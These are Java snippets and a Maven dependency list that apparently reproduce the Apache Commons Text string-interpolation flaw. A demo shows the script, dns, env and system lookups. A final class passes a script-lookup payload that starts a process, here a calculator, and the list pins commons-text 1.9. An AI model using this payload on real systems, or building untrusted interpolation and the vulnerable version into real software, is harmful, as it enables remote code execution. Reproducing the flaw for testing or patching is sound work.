import org.apache.commons.text.StringSubstitutor;

class Demo{
    public static void main(String[] args){
        String resolvedString = StringSubstitutor
            .replaceSystemProperties("You are running with java.version = ${java.version} and os.name = ${os.name}.");

        System.out.println(resolvedString);

        final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
        interpolator.setEnableSubstitutionInVariables(true); // Allows for nested $'s.
        final String text = interpolator.replace("Base64 Decoder:${base64Decoder:SGVsbG9Xb3JsZCE=}\n"
                                                 + "Date:                  ${date:yyyy-MM-dd}\n" + "DNS:                   ${dns:address|apache.org}\n"
                                                 + "Environment Variable:  ${env:USERNAME}\n"
                                                 + "Script:                ${script:javascript:3 + 4}\n" + "System Property:       ${sys:user.dir}\n");
        System.out.println(text);
    }
}

<dependencies>
  <dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-configuration2</artifactId>
    <version>2.7</version>
  </dependency>
  <dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-text</artifactId>
    <version>1.9</version>
  </dependency>
  <dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-lang3</artifactId>
    <version>3.12.0</version>
  </dependency>
</dependencies>

package org.test;

import org.apache.commons.text.StringSubstitutor;

public class Main {
    public static void main(String[] args) {

        StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
        //        String payload = interpolator.replace("${script:js:new java.lang.ProcessBuilder(\"calc\").start()}");
        String payload = "${script:js:new java.lang.ProcessBuilder(\"calc\").start()}";
        interpolator.replace(payload);
    }
}